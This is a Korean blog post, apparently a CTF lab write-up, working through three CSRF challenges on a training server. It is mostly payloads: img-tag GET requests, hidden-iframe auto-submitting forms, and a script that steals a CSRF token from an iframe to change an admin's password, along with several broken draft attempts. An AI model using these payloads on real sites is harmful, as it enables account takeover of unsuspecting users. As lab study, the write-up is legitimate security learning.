본문 바로가기

CTF

CTF CSRF

CTF CSRF


 

GET Admin 1

 

회원가입 id pw

로그인 id pw

id=&info=&pw=1

 

GET /csrf_1/mypage_update.php?id=&info=&pw=1 get 방식으로 전환

접속시 alert 회원정보 수정에 성공했다는 메세지 뜸 get방식 사용가능 그러나 관리자가 눈치챔

 

게시판 글쓰기

------WebKitFormBoundarypBXHwQx5OA8BdH3i
Content-Disposition: form-data; name="create_title"

title<'">
------WebKitFormBoundarypBXHwQx5OA8BdH3i
Content-Disposition: form-data; name="create_body"

content<'">
------WebKitFormBoundarypBXHwQx5OA8BdH3i--

 

게시판 글 보기

                       <div class = "posting_title">title<'"></div>
            <div class = "posting_contents">content<'"></div>

<'"> 치환안됨

 

게시판 내용작성

<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1">

 

------WebKitFormBoundaryGBoekF4RNfBYrejf
Content-Disposition: form-data; name="create_title"

title
------WebKitFormBoundaryGBoekF4RNfBYrejf
Content-Disposition: form-data; name="create_body"

<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1">
------WebKitFormBoundaryGBoekF4RNfBYrejf--

 

글보기

<div class = "posting_title">title</div>
            <div class = "posting_contents"><img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1">

<img src="http://ctf.segfaulthub.com:7575/csrf_1/
 mypage_update.php?pw=1">
//이미지를 해당 링크에서 가져오는 img태그를 이용해
//src에 해당하는 링크에 접속

</div>

 

<script>alert('회원 정보 수정에 성공하셨습니다!')</script><script>window.location.href='mypage.php';</script>

그러나 출력은 안됨 안들킬듯

 

 

 

http://ctf.segfaulthub.com:7575/csrf_1/notice_read.php?id=453&view=1

링크 관리자에게 보내기

 

공격할 아이디 id_admin 

url http://ctf.segfaulthub.com:7575/csrf_1/notice_read.php?id=453&view=1

접속완료

 

id=id_admin pw=1

로그인

 

    <script>alert('GOOD! Flag : segfault{csrfEEASY?}')</script>


GET Admin 2

id pw

회원가입 후 로그인

 

마이페이지

id=&info=&pw=1

 

GET 값으로 보내기

GET /csrf_2/mypage_update.php?id=&info=&pw=1 HTTP/1.1

에러 발생

 

 

POST METHOD CSRF

 

글쓰기 페이지 내용

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthframe">

<input type="hidden" name="pw" value="1">

</form>

<script> document.getElementById('Form').submit(); </script>

 

 

 

 

 

------WebKitFormBoundarycAzypV7V1lgzzwt6
Content-Disposition: form-data; name="create_title"

title
------WebKitFormBoundarycAzypV7V1lgzzwt6
Content-Disposition: form-data; name="create_body"

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthframe">

<input type="hidden" name="pw" value="1"/>

</form>

<script> document.getElementById('Form').submit(); </script>
------WebKitFormBoundarycAzypV7V1lgzzwt6--

 

글보기

<div class = "posting_contents"><iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthframe">

<input type="hidden" name="pw" value="1"/>

</form>

<script> document.getElementById('Form').submit(); </script></div>

 

 

<iframe width="0" height="0" border="0" name="stealthFrame" style="display: none;"></iframe>

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" target="stealthFrame">

<input type="hidden" name="pw" value="1">

</form> 

 

<iframe width="0" height="0" border="0" id="stealthFrame" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthFrame">
<input type="hidden" name="pw" value="1">

</form>

<script> document.getElementById('Form').submit(); </script>

스크립트는 알아챔

 

다시

<iframe width="0" height="0" border="0" id="stealthFrame" style="display: none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="Form" target="stealthFrame">
  <input type="hidden" name="pw" value="1"/>
</form>
<img src=x onerror="document.getElementById('Form').submit();">

 

성공

<iframe id="stealthFrame" hidden></iframe>
//POST값을 접속할 마이페이지의 틀

<form method="POST" 
action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" 
id="sendForm" target="stealthFrame">
//틀에 마이페이지 링크 삽입, POST값으로 form 생성
<input type="hidden" name="pw" value="1"/>
//보낼 비밀번호 값
</form>

<script> document.getElementById('sendForm').submit(); </script>
//form 값 제출

GET Admin 3

 

회원가입 id pw

로그인 id pw

 

 

<iframe id="getToken" hidden></iframe>

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="Form" target="getToken">

<input type="hidden" id="signup_btnl" value="Update"/>

</form>

<script>alert(adminToken)</script>

<img src=x onerror="var adminToken=document.getElementsByName('csrf_token')[0].value">

 

 

 

 

<img src=x onerror="document.getElementById('Form').submit();">

<input type="hidden" name="pw" value="1"/>

<input type="hidden" name="csrf_token" value="adminToken"/>

<img src=x onerror="document.getElementById('Form').submit();">

</form>

 

 

<img src=x oneerror="var adminToken = document.getElementByName('csrf_token')[0].value>

<form method="GET" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php?" id="Form" target="stealthFrame">

<input type="hidden" name="pw" value="1"/>

<input type="hidden" name="csrf_token" value=adminToken/>

</form>

<img src=x onerror="document.getElementById('Form').submit();">

 

 

<iframe src= "http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" hidden></iframe>

<img src=x onerror="var Code = document.getElementById('Form'); Code.submit(); var csrfToken=Code.elements['csrf_token'].value; window.parent.postMessage(csrfToken, '*');">

<script>window.addEventListener('message',function(event) {alert(event.data);alert('1');});

</script>

 

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="Form" target="getToken">

</form>

<img src=x onerror="var Code = document.getElementById('Form'); Code.submit(); var csrfToken=Code.elements['csrf_token'].value; window.parent.postMessage(csrfToken, '*');">

 

<script>window.addEventListener('message',function(event) {

alert(event.data);

alert('1');

});

</script>


<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" hidden></iframe>

<img src=x onerror=" var Code = document.getElementById('getToken').contentWindow; var csrfToken = Code.document.getElementsByName('csrf_token')[0].value; window.parent.postMessage(csrfToken, '*');">

<img src=x onerror="var Token;window.addEventListener('message',function(event) {alert(event.data); Token=event.data});">

 

 

 

<iframe id="postToken" onload="var sendToken=Token" hidden></iframe>

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="Form" target="postToken">

<input type="hidden" name="pw" value="1"/>

<input type="hidden" name="csrf_token" value=sendToken/>

</form>

<img src=x onerror="document.getElementById('Form').submit();">


<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" ></iframe>

<script>

var iframeDocument = document.getElementById('getToken').contentDocument;

var csrfToken = iframeDocument.getElementsByName('csrf_token')[0].value;

 

function clickButtonInIframe() {

// iframe 요소에 접근

var buttonOn = iframeDocument.getElementById('signup-btnl');

buttonOn.click();

}

 


function handleButtonClick(csrfToken) {

// 새로운 XMLHttpRequest 생성

var xhr = new XMLHttpRequest();

xhr.open('POST', 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', true);

// POST 데이터 설정 (예: pw=1, csrf_token=토큰값)

var postData = 'pw=1&csrf_token=' + csrfToken;

// 서버에 요청 보내기

xhr.send(postData);

}

handleButtonClick();

window.onload = clickButtonInIframe;

 

</script>

 

 

 

 

 

 

 

// iframe 내의 document에 접근

var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;

// iframe 내의 버튼 요소에 접근

var buttonon = iframeDocument.getElementById('signup-btnl');

// 버튼 클릭 이벤트를 발생시킴

buttonon.click();

}

// 페이지 로드 시 자동으로 iframe 내의 버튼 클릭 함수 호출

window.onload = clickButtonInIframe;

 

function handleButtonClick() {

// 클릭한 후 실행되는 페이지로 POST 요청 보내기

var form = new XMLHttpRequest();

form.method = 'POST';

var input = document.createElement('input');

input.type = 'hidden'; input.name = 'pw'; input.value = '1';

form.appendChild(input); form.method = 'POST';

var input = document.createElement('input');

input.type = 'hidden'; input.name = 'csrf_token'; input.value = csrfToken;

form.appendChild(input);

// 폼을 body에 추가하고

submit document.body.appendChild(form); form.submit(); }

</script>

 

 

 

 

 

 

 

 

 

 

<form method="GET" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="Form" target="getToken">

 

<script>

var Code=document.getElementById('getToken').contentWindow; 

var csrfToken = iframeDocument.getElementsByName('csrf_token')[0].value;

</script>

 

<form method="POST" id="Form" target="getToken">

<input type="hidden" name="pw" value="1"/>

<input type="hidden" id="sigup-btnl" value ="Update"/>

</form>

<img src=x onerror="document.getElementById('Form').submit();">


<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken"></iframe>

<script>

// iframe 요소에 접근

var iframe = document.getElementById('getToken');

// iframe이 로드된 후에 실행되는 함수

iframe.onload = function () {

// iframe 내의 document에 접근

var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;

// csrfToken을 iframe 내부에서 가져오기

var csrfToken = iframeDocument.getElementsByName('csrf_token')[0].value;

// iframe 내부에서 버튼 클릭하고 동시에 POST 요청 보내는 함수

function clickButtonAndSendPost() {

// iframe 내의 버튼 요소에 접근

var buttonOn = iframeDocument.getElementById('signup-btnl');

// 버튼 클릭 이벤트를 발생시킴 buttonOn.click();

// 새로운 XMLHttpRequest 생성

var xhr = new XMLHttpRequest();

xhr.open('POST', 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', true);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

// POST 데이터 설정 (예: pw=1, csrf_token=토큰값)

var postData = 'pw=1&csrf_token=' + encodeURIComponent(csrfToken);

// 서버에 요청 보내기 xhr.send(postData);

// 서버 응답 처리 (필요에 따라 구현)

xhr.onreadystatechange = function () {

if (xhr.readyState == 4 && xhr.status == 200) {

console.log('Server response:', xhr.responseText);

// 서버 응답을 이용한 다양한 작업 수행 가능

}

};

} // 실행시키기

clickButtonAndSendPost();

};

</script>


 

 

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="getToken" onload="token()" hidden></iframe>

 

<form action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="sendForm" method="POST" target="sendToken">

<input type="hidden" name="pw" value="1">

<input type="hidden" name="csrf_token" value="">

</form>

 

<script>

function token() {

document.getElementById('getToken').contentWindow.alert = function() {};

var  csrfToken = document.getElementById('getToken').contentWindow.document.getElementsByName('csrf_token')[0].value;

document.getElementById('sendForm').querySelector('input[name="csrf_token"]').value = csrfToken;

document.getElementById('sendForm').submit();

}

</script>

 

<iframe 
src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php"
id="getToken" onload="token()" hidden>
</iframe>
//토큰 함수가 로드되면 실행될 토큰을 얻을 마이페이지의 틀

<form 
action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php"
id="sendForm" method="POST" target="sendToken">
	
    <input type="hidden" name="pw" value="1">
	<input type="hidden" name="csrf_token" value="">

</form>
//마이페이지 업데이크 링크에 POST값으로 비밀번호 값과 토큰값을 넣을 form 생성

<script>
function token() {
document.getElementById('getToken').contentWindow.alert = function() {};
//마이페이지에서 실행되는 alert함수를 삭제
var  csrfToken = document.getElementById('getToken')
.contentWindow.document.getElementsByName('csrf_token')[0].value;
//마이페이지에서 토큰이 발행되는 태그이름을 통해 토큰을 가져옴
document.getElementById('sendForm').querySelector('input[name="csrf_token"]')
.value = csrfToken;
//마이페이지에서 가져온 토큰을 업데이트 form에 삽입
document.getElementById('sendForm').submit();
//마이페이지 업데이트 링크에 생성한 폼 제출
}
</script>

 

http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=123&view=1

비밀번호 변경됨

 

'CTF' 카테고리의 다른 글

CTF ClientScript  (0) 2024.01.25